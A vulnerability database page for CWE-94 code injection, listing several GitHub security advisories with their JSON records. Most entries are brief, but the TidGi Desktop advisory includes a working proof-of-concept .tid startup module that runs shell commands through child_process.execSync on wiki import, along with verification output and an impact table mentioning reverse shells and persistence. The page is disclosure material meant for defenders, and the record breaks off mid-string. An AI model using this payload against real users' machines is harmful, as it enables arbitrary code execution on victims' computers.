Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8342 vulnerabilities reference this CWE, most recent first.

GHSA-9GQ6-6936-885W

Vulnerability from github – Published: 2024-09-12 15:33 – Updated: 2024-09-16 22:32
VLAI
Summary
MindsDB Eval Injection vulnerability
Details

An arbitrary code execution vulnerability exists in versions 23.12.4.0 up to 24.7.4.1 of the MindsDB platform, when the ChromaDB integration is installed on the server. If a specially crafted ‘INSERT’ query containing Python code is run against a database created with the ChromaDB engine, the code will be passed to an eval function and executed on the server.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mindsdb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "23.12.4.0"
            },
            {
              "fixed": "24.7.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45848"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-12T17:03:57Z",
    "nvd_published_at": "2024-09-12T13:15:13Z",
    "severity": "HIGH"
  },
  "details": "An arbitrary code execution vulnerability exists in versions 23.12.4.0 up to 24.7.4.1 of the MindsDB platform, when the ChromaDB integration is installed on the server. If a specially crafted \u2018INSERT\u2019 query containing Python code is run against a database created with the ChromaDB engine, the code will be passed to an eval function and executed on the server.",
  "id": "GHSA-9gq6-6936-885w",
  "modified": "2024-09-16T22:32:50Z",
  "published": "2024-09-12T15:33:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45848"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mindsdb/mindsdb/commit/11a4db792ad36cf704f7307c7602128b17752c80"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mindsdb/mindsdb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mindsdb/PYSEC-2024-78.yaml"
    },
    {
      "type": "WEB",
      "url": "https://hiddenlayer.com/sai-security-advisory/2024-09-mindsdb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MindsDB Eval Injection vulnerability"
}

GHSA-9GQR-XP86-F87H

Vulnerability from github – Published: 2022-03-18 00:01 – Updated: 2022-03-25 16:13
VLAI
Summary
Code injection in npm git
Details

All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. At this time, there is no known workaround. There has been no patch released.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "git"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23632"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-03-18T22:39:15Z",
    "nvd_published_at": "2022-03-17T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. At this time, there is no known workaround. There has been no patch released.",
  "id": "GHSA-9gqr-xp86-f87h",
  "modified": "2022-03-25T16:13:13Z",
  "published": "2022-03-18T00:01:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23632"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-GIT-1568518"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Code injection in npm git"
}

GHSA-9GRC-FQ62-5MG4

Vulnerability from github – Published: 2025-01-11 00:32 – Updated: 2025-01-11 00:32
VLAI
Details

The administrator is able to configure an insecure captive portal script

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-9132"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-10T22:15:26Z",
    "severity": "HIGH"
  },
  "details": "The administrator is able to configure an insecure captive portal script",
  "id": "GHSA-9grc-fq62-5mg4",
  "modified": "2025-01-11T00:32:06Z",
  "published": "2025-01-11T00:32:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9132"
    },
    {
      "type": "WEB",
      "url": "https://www.arista.com/en/support/advisories-notices/security-advisory/20454-security-advisory-0105"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9GVV-47X2-579H

Vulnerability from github – Published: 2024-07-26 00:32 – Updated: 2024-08-01 15:32
VLAI
Details

Tenda FH1201 v1.2.0.14 was discovered to contain a command injection vulnerability via the cmdinput parameter at /goform/exeCommand

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-41468"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-25T22:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "Tenda FH1201 v1.2.0.14 was discovered to contain a command injection vulnerability via the cmdinput parameter at /goform/exeCommand",
  "id": "GHSA-9gvv-47x2-579h",
  "modified": "2024-08-01T15:32:11Z",
  "published": "2024-07-26T00:32:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41468"
    },
    {
      "type": "WEB",
      "url": "https://github.com/iotresearch/iot-vuln/blob/main/Tenda/FH1201/exeCommand/README.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9GW3-6JGP-VR97

Vulnerability from github – Published: 2022-05-01 18:24 – Updated: 2022-05-01 18:24
VLAI
Details

** DISPUTED ** PHP remote file inclusion vulnerability in inc-calcul.php3 in SPIP 1.7.2 allows remote attackers to execute arbitrary PHP code via a URL in the squelette_cache parameter, a different vector than CVE-2006-1702. NOTE: this issue has been disputed by third party researchers, stating that the squelette_cache variable is initialized before use, and is only used within the scope of a function.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-4525"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-08-25T00:17:00Z",
    "severity": "HIGH"
  },
  "details": "** DISPUTED **  PHP remote file inclusion vulnerability in inc-calcul.php3 in SPIP 1.7.2 allows remote attackers to execute arbitrary PHP code via a URL in the squelette_cache parameter, a different vector than CVE-2006-1702. NOTE: this issue has been disputed by third party researchers, stating that the squelette_cache variable is initialized before use, and is only used within the scope of a function.",
  "id": "GHSA-9gw3-6jgp-vr97",
  "modified": "2022-05-01T18:24:25Z",
  "published": "2022-05-01T18:24:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-4525"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/36218"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/3056"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/477423/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/477728/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/25416"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9GXF-3564-MMVJ

Vulnerability from github – Published: 2022-05-17 01:52 – Updated: 2025-04-11 03:54
VLAI
Details

Eval injection vulnerability in config.php in Support Incident Tracker (aka SiT!) 3.65 allows remote authenticated administrators to execute arbitrary PHP code via the application_name parameter in a save action.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2011-3832"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-01-29T04:04:00Z",
    "severity": "MODERATE"
  },
  "details": "Eval injection vulnerability in config.php in Support Incident Tracker (aka SiT!) 3.65 allows remote authenticated administrators to execute arbitrary PHP code via the application_name parameter in a save action.",
  "id": "GHSA-9gxf-3564-mmvj",
  "modified": "2025-04-11T03:54:45Z",
  "published": "2022-05-17T01:52:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-3832"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/71236"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/45453"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/secunia_research/2011-78"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/77002"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/50632"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9H7F-3J8V-PCFJ

Vulnerability from github – Published: 2025-10-14 18:30 – Updated: 2025-10-14 18:30
VLAI
Details

An Improper Control of Generation of Code ('Code Injection') vulnerability [CWE-94] in FortiClientMac 7.4.0 through 7.4.3, 7.2.1 through 7.2.8 may allow an unauthenticated attacker to execute arbitrary code on the victim's host via tricking the user into visiting a malicious website.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-31365"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-14T16:15:37Z",
    "severity": "MODERATE"
  },
  "details": "An Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability [CWE-94] in FortiClientMac 7.4.0 through 7.4.3, 7.2.1 through 7.2.8 may allow an unauthenticated attacker to execute arbitrary code on the victim\u0027s host via tricking the user into visiting a malicious website.",
  "id": "GHSA-9h7f-3j8v-pcfj",
  "modified": "2025-10-14T18:30:27Z",
  "published": "2025-10-14T18:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31365"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-037"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9H9Q-HM6H-279R

Vulnerability from github – Published: 2025-04-01 06:30 – Updated: 2026-04-01 18:34
VLAI
Details

Improper Control of Generation of Code ('Code Injection') vulnerability in Rometheme RomethemeKit For Elementor allows Command Injection. This issue affects RomethemeKit For Elementor: from n/a through 1.5.4.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-30911"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-01T06:15:54Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability in Rometheme RomethemeKit For Elementor allows Command Injection. This issue affects RomethemeKit For Elementor: from n/a through 1.5.4.",
  "id": "GHSA-9h9q-hm6h-279r",
  "modified": "2026-04-01T18:34:18Z",
  "published": "2025-04-01T06:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30911"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/rometheme-for-elementor/vulnerability/wordpress-romethemekit-for-elementor-plugin-1-5-4-arbitrary-plugin-installation-activation-to-rce-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9HC2-HJX8-Q6PV

Vulnerability from github – Published: 2026-07-14 19:52 – Updated: 2026-07-14 19:52
VLAI
Summary
TidGi Desktop Remote Code Execution via Malicious TiddlyWiki Repository Import — Tiddler Startup Module Auto-Execution
Details

Description

TidGi Desktop through 0.13.0 contains a critical remote code execution vulnerability exploitable via a single Git repository import. The vulnerability leverages TiddlyWiki's module system, which automatically discovers and executes JavaScript code embedded in .tid files placed in the wiki's tiddlers/ directory:

  1. Auto-loading of .tid files (src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92) — when TidGi boots a wiki workspace, loadWikiTiddlers reads all .tid files from the filesystem and adds them to the wiki store via wiki.addTiddlers().

  2. Automatic module registration (node_modules/tiddlywiki/boot/boot.js:2564-2565) — defineTiddlerModules() iterates all tiddlers in the store. Any tiddler with a module-type field is passed to $tw.modules.define(), registering it as an executable module.

  3. Automatic startup execution (node_modules/tiddlywiki/boot/boot.js:2572-2634) — all registered modules of type "startup" are collected and their exports.startup() function is called during the boot sequence. When no platforms restriction is set, doesTaskMatchPlatform() returns true, and the startup function executes with full Node.js require() access in the Wiki Worker process.

The full chain was verified on macOS with TiddlyWiki 5.4.0 and Node.js v26 — require('child_process').execSync() successfully executed arbitrary shell commands.

Affected Product

  • Product: TidGi Desktop
  • Vendor: Lin Onetwo (https://github.com/tiddly-gittly)
  • Repository: https://github.com/tiddly-gittly/TidGi-Desktop
  • Affected Versions: 0.13.0 (latest release)
  • Components: src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts (tiddler loading), src/services/wiki/wikiWorker/startNodeJSWiki.ts (wiki boot), node_modules/tiddlywiki/boot/boot.js (TiddlyWiki core — defineTiddlerModules, startup dispatch)
  • Package: tidgi (npm)

Vulnerability Details

Root Cause 1 — .tid Files Auto-Loaded Before Module Processing

File: src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92

const tiddlerFiles = wikiInstance.loadTiddlersFromPath(subWikiTiddlersPath);

for (const tiddlerFile of tiddlerFiles) {
    // Register file info for filesystem adaptor
    // ...
    // Add tiddlers to wiki
    wikiInstance.wiki.addTiddlers(tiddlerFile.tiddlers);   // ← Line 92
}

File: src/services/wiki/wikiWorker/startNodeJSWiki.ts:256

wikiInstance.boot.startup({ bootPath: TIDDLY_WIKI_BOOT_PATH });

This triggers $tw.boot.startup(), which internally calls loadStartup()loadTiddlersNode()$tw.loadWikiTiddlers($tw.boot.wikiPath) (boot.js:2381). TidGi overrides loadWikiTiddlers at startNodeJSWiki.ts:123 to intercept and inject sub-wiki tiddlers, but the original function still loads all .tid files from the main wiki's tiddlers/ directory.

Root Cause 2 — Automatic Module Registration via module-type Field

File: node_modules/tiddlywiki/boot/boot.js:1514-1534defineTiddlerModules()

$tw.Wiki.prototype.defineTiddlerModules = function() {
    this.each(function(tiddler,title) {
        if(tiddler.hasField("module-type") && (!tiddler.hasField("draft.of"))) {
            switch(tiddler.fields.type) {
                case "application/javascript":
                    $tw.modules.define(
                        tiddler.fields.title,           // "$:/plugins/poc/startup.js"
                        tiddler.fields["module-type"],   // "startup"
                        tiddler.fields.text              // attacker's JS code
                    );
                    break;
            }
        }
    });
};

This function is called during execStartup() (boot.js:2565), after loadStartup() has already loaded all .tid files into the wiki store. Any tiddler with module-type: startup and type: application/javascript is automatically registered as an executable module.

Root Cause 3 — Automatic Startup Execution with Full Node.js Access

File: node_modules/tiddlywiki/boot/boot.js:2572-2576 — Collecting startup modules

$tw.boot.remainingStartupModules = [];
$tw.modules.forEachModuleOfType("startup", function(title, module) {
    if(module.startup) {
        $tw.boot.remainingStartupModules.push(module);  // ← attacker's module collected
    }
});

File: node_modules/tiddlywiki/boot/boot.js:2631-2634 — Executing startup

if(!$tw.utils.hop(task,"synchronous") || task.synchronous) {
    const thenable = task.startup();  // ← exports.startup() called

File: node_modules/tiddlywiki/boot/boot.js:2658-2677 — Platform check (passes without explicit platforms)

$tw.boot.doesTaskMatchPlatform = function(taskModule) {
    var platforms = taskModule.platforms;
    if(platforms) {
        // ... check each platform ...
        return false;  // ← only rejects if platforms is explicitly set
    }
    return true;       // ← no platforms field → passes unconditionally
};

Complete Boot Sequence (verified against TiddlyWiki 5.4.0)

$tw.boot.startup()                              // boot.js:2589
  ├── initStartup()                              // boot.js:2393
  ├── loadStartup()                              // boot.js:2538
  │     └── loadTiddlersNode()                   // boot.js:2356
  │           └── $tw.loadWikiTiddlers(wikiPath)  // boot.js:2381
  │                 └── wiki.addTiddlers(...)     // loads .tid files into store
  └── execStartup()                              // boot.js:2553
        ├── defineShadowModules()                 // boot.js:2564
        ├── defineTiddlerModules()                 // boot.js:2565  ← registers attacker's module
        ├── forEachModuleOfType("startup", ...)   // boot.js:2572  ← collects startup modules
        └── executeNextStartupTask()              // boot.js:2611
              └── task.startup()                  // boot.js:2634  ← exports.startup() executes

Exploitation Conditions

  • No authentication required — importing a wiki is a standard feature
  • Only user interaction: click "Add Workspace" → select folder/URL → confirm

Complete Attack Flow

┌──────────────────────────────────────────────────────────────┐
│ Step 1: Attacker creates a malicious TiddlyWiki repository   │
├──────────────────────────────────────────────────────────────┤
│  tiddlers/$__plugins__poc__startup.js.tid:                   │
│                                                              │
│    title: $:/plugins/poc/startup.js                          │
│    type: application/javascript                              │
│    module-type: startup                                      │
│                                                              │
│    exports.startup = function() {                            │
│      require('child_process').execSync('calc');              │
│    };                                                        │
│                                                              │
│  + tiddlywiki.info + any other wiki files                    │
└──────────────────────────────────────────────────────────────┘
                          ↓
┌──────────────────────────────────────────────────────────────┐
│ Step 2: Victim imports the repository into TidGi Desktop     │
├──────────────────────────────────────────────────────────────┤
│  Add Workspace → Clone Git Repository / Open Local Folder    │
│  → TidGi boots the wiki                                      │
└──────────────────────────────────────────────────────────────┘
                          ↓
┌──────────────────────────────────────────────────────────────┐
│ Step 3: RCE — startup module auto-executes in Node.js Worker │
├──────────────────────────────────────────────────────────────┤
│  loadWikiTiddlers loads .tid file → wiki.addTiddlers()       │
│  boot.startup() → execStartup()                              │
│  defineTiddlerModules() → $tw.modules.define("startup", ...) │
│  executeNextStartupTask() → exports.startup()                │
│  → require('child_process').execSync('...') executes         │
└──────────────────────────────────────────────────────────────┘

Proof of Concept

Minimal .tid File (place in tiddlers/ directory)

title: $:/plugins/poc/startup.js
type: application/javascript
module-type: startup

exports.startup = function() {
  require('child_process').execSync('touch /tmp/TidGi-RCE-PoC.txt');
  console.log('STARTUP_EXECUTED');
};

Verification Output (macOS, TiddlyWiki 5.4.0, Node.js v26)

$ node -e "
  const \$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki();
  \$tw.boot.argv = ['/tmp/evil-wiki'];
  \$tw.boot.startup();
"
STARTUP_EXECUTED

$ ls -la /tmp/TidGi-RCE-PoC.txt
-rw-r--r--  1 nuii  wheel  0 Jun  3 00:01 /tmp/TidGi-RCE-PoC.txt

The message STARTUP_EXECUTED printed from within the attacker's exports.startup() function, and the file /tmp/TidGi-RCE-PoC.txt was created by execSync('touch ...'), confirming arbitrary command execution.

Impact

Capability Status Details
Remote Code Execution ✅ Full Node.js access require('child_process') available
Arbitrary File Read require('fs').readFileSync()
Arbitrary File Write require('fs').writeFileSync()
Reverse Shell Node.js net module
Persistence Write to startup scripts, LaunchAgents, crontab
User Interaction 1 click Import repository
Cross-Platform Windows, macOS, Linux

Reproduction Evidence

Step 1 — Malicious .tid file content

title: $:/plugins/poc/startup.js
type: application/javascript
module-type: startup

exports.startup = function() {
  require('child_process').execSync('touch /tmp/TidGi-RCE-PoC.txt');
  console.log('STARTUP_EXECUTED');
};

Step 2 — TiddlyWiki boot with malicious wiki at /tmp/evil-wiki

$ node -e "
  const \$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki();
  \$tw.boot.argv = ['/tmp/evil-wiki'];
  \$tw.boot.startup();
"
STARTUP_EXECUTED

Step 3 — Verified RCE: /tmp/TidGi-RCE-PoC.txt created

$ ls -la /tmp/TidGi-RCE-PoC.txt
-rw-r--r--  1 nuii  wheel  0 Jun  3 00:01 /tmp/TidGi-RCE-PoC.txt

Patch Recommendation

Fix 1: Disallow module-type on User Tiddlers

TiddlyWiki should distinguish between system tiddlers (shipped with TidGi or installed as official plugins) and user-created tiddlers. User-created tiddlers should never be allowed to define module-type.

// In defineTiddlerModules() or equivalent
if (tiddler.hasField("module-type") && !tiddler.fields.title.startsWith("$:/")) {
    // User tiddler — silently drop module-type field
    return;
}

Fix 2: Sandbox User Modules

If user-created modules must be supported, execute them in a restricted context without access to Node.js built-ins:

// Replace direct require access with a restricted API surface
const vm = require('vm');
const sandbox = { console, $tw, Buffer };
vm.runInNewContext(moduleCode, sandbox, { timeout: 5000 });

Fix 3: Whitelist Allowed module-type Values

Only allow known safe module-type values for user tiddlers:

const ALLOWED_USER_MODULE_TYPES = ['widget', 'macro', 'filter', 'parser'];
if (!ALLOWED_USER_MODULE_TYPES.includes(tiddler.fields['module-type'])) {
    return; // Block startup, library, saver, etc.
}
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tidgi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T19:52:41Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Description\n\nTidGi Desktop through 0.13.0 contains a critical remote code execution vulnerability exploitable via a single Git repository import. The vulnerability leverages TiddlyWiki\u0027s module system, which automatically discovers and executes JavaScript code embedded in `.tid` files placed in the wiki\u0027s `tiddlers/` directory:\n\n1. **Auto-loading of `.tid` files** (`src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92`) \u2014 when TidGi boots a wiki workspace, `loadWikiTiddlers` reads all `.tid` files from the filesystem and adds them to the wiki store via `wiki.addTiddlers()`.\n\n2. **Automatic module registration** (`node_modules/tiddlywiki/boot/boot.js:2564-2565`) \u2014 `defineTiddlerModules()` iterates all tiddlers in the store. Any tiddler with a `module-type` field is passed to `$tw.modules.define()`, registering it as an executable module.\n\n3. **Automatic startup execution** (`node_modules/tiddlywiki/boot/boot.js:2572-2634`) \u2014 all registered modules of type `\"startup\"` are collected and their `exports.startup()` function is called during the boot sequence. When no `platforms` restriction is set, `doesTaskMatchPlatform()` returns `true`, and the startup function executes with full Node.js `require()` access in the Wiki Worker process.\n\nThe full chain was verified on macOS with TiddlyWiki 5.4.0 and Node.js v26 \u2014 `require(\u0027child_process\u0027).execSync()` successfully executed arbitrary shell commands.\n\n## Affected Product\n\n- **Product**: TidGi Desktop\n- **Vendor**: Lin Onetwo (https://github.com/tiddly-gittly)\n- **Repository**: https://github.com/tiddly-gittly/TidGi-Desktop\n- **Affected Versions**: 0.13.0 (latest release)\n- **Components**: `src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts` (tiddler loading), `src/services/wiki/wikiWorker/startNodeJSWiki.ts` (wiki boot), `node_modules/tiddlywiki/boot/boot.js` (TiddlyWiki core \u2014 `defineTiddlerModules`, startup dispatch)\n- **Package**: tidgi (npm)\n\n## Vulnerability Details\n\n### Root Cause 1 \u2014 `.tid` Files Auto-Loaded Before Module Processing\n\n**File: `src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92`**\n\n```typescript\nconst tiddlerFiles = wikiInstance.loadTiddlersFromPath(subWikiTiddlersPath);\n\nfor (const tiddlerFile of tiddlerFiles) {\n    // Register file info for filesystem adaptor\n    // ...\n    // Add tiddlers to wiki\n    wikiInstance.wiki.addTiddlers(tiddlerFile.tiddlers);   // \u2190 Line 92\n}\n```\n\n**File: `src/services/wiki/wikiWorker/startNodeJSWiki.ts:256`**\n\n```typescript\nwikiInstance.boot.startup({ bootPath: TIDDLY_WIKI_BOOT_PATH });\n```\n\nThis triggers `$tw.boot.startup()`, which internally calls `loadStartup()` \u2192 `loadTiddlersNode()` \u2192 `$tw.loadWikiTiddlers($tw.boot.wikiPath)` (boot.js:2381). TidGi overrides `loadWikiTiddlers` at startNodeJSWiki.ts:123 to intercept and inject sub-wiki tiddlers, but the original function still loads all `.tid` files from the main wiki\u0027s `tiddlers/` directory.\n\n### Root Cause 2 \u2014 Automatic Module Registration via `module-type` Field\n\n**File: `node_modules/tiddlywiki/boot/boot.js:1514-1534`** \u2014 `defineTiddlerModules()`\n\n```javascript\n$tw.Wiki.prototype.defineTiddlerModules = function() {\n    this.each(function(tiddler,title) {\n        if(tiddler.hasField(\"module-type\") \u0026\u0026 (!tiddler.hasField(\"draft.of\"))) {\n            switch(tiddler.fields.type) {\n                case \"application/javascript\":\n                    $tw.modules.define(\n                        tiddler.fields.title,           // \"$:/plugins/poc/startup.js\"\n                        tiddler.fields[\"module-type\"],   // \"startup\"\n                        tiddler.fields.text              // attacker\u0027s JS code\n                    );\n                    break;\n            }\n        }\n    });\n};\n```\n\nThis function is called during `execStartup()` (boot.js:2565), **after** `loadStartup()` has already loaded all `.tid` files into the wiki store. Any tiddler with `module-type: startup` and `type: application/javascript` is automatically registered as an executable module.\n\n### Root Cause 3 \u2014 Automatic Startup Execution with Full Node.js Access\n\n**File: `node_modules/tiddlywiki/boot/boot.js:2572-2576`** \u2014 Collecting startup modules\n\n```javascript\n$tw.boot.remainingStartupModules = [];\n$tw.modules.forEachModuleOfType(\"startup\", function(title, module) {\n    if(module.startup) {\n        $tw.boot.remainingStartupModules.push(module);  // \u2190 attacker\u0027s module collected\n    }\n});\n```\n\n**File: `node_modules/tiddlywiki/boot/boot.js:2631-2634`** \u2014 Executing startup\n\n```javascript\nif(!$tw.utils.hop(task,\"synchronous\") || task.synchronous) {\n    const thenable = task.startup();  // \u2190 exports.startup() called\n```\n\n**File: `node_modules/tiddlywiki/boot/boot.js:2658-2677`** \u2014 Platform check (passes without explicit `platforms`)\n\n```javascript\n$tw.boot.doesTaskMatchPlatform = function(taskModule) {\n    var platforms = taskModule.platforms;\n    if(platforms) {\n        // ... check each platform ...\n        return false;  // \u2190 only rejects if platforms is explicitly set\n    }\n    return true;       // \u2190 no platforms field \u2192 passes unconditionally\n};\n```\n\n### Complete Boot Sequence (verified against TiddlyWiki 5.4.0)\n\n```\n$tw.boot.startup()                              // boot.js:2589\n  \u251c\u2500\u2500 initStartup()                              // boot.js:2393\n  \u251c\u2500\u2500 loadStartup()                              // boot.js:2538\n  \u2502     \u2514\u2500\u2500 loadTiddlersNode()                   // boot.js:2356\n  \u2502           \u2514\u2500\u2500 $tw.loadWikiTiddlers(wikiPath)  // boot.js:2381\n  \u2502                 \u2514\u2500\u2500 wiki.addTiddlers(...)     // loads .tid files into store\n  \u2514\u2500\u2500 execStartup()                              // boot.js:2553\n        \u251c\u2500\u2500 defineShadowModules()                 // boot.js:2564\n        \u251c\u2500\u2500 defineTiddlerModules()                 // boot.js:2565  \u2190 registers attacker\u0027s module\n        \u251c\u2500\u2500 forEachModuleOfType(\"startup\", ...)   // boot.js:2572  \u2190 collects startup modules\n        \u2514\u2500\u2500 executeNextStartupTask()              // boot.js:2611\n              \u2514\u2500\u2500 task.startup()                  // boot.js:2634  \u2190 exports.startup() executes\n```\n\n### Exploitation Conditions\n\n- **No authentication required** \u2014 importing a wiki is a standard feature\n- **Only user interaction**: click \"Add Workspace\" \u2192 select folder/URL \u2192 confirm\n\n### Complete Attack Flow\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Step 1: Attacker creates a malicious TiddlyWiki repository   \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502  tiddlers/$__plugins__poc__startup.js.tid:                   \u2502\n\u2502                                                              \u2502\n\u2502    title: $:/plugins/poc/startup.js                          \u2502\n\u2502    type: application/javascript                              \u2502\n\u2502    module-type: 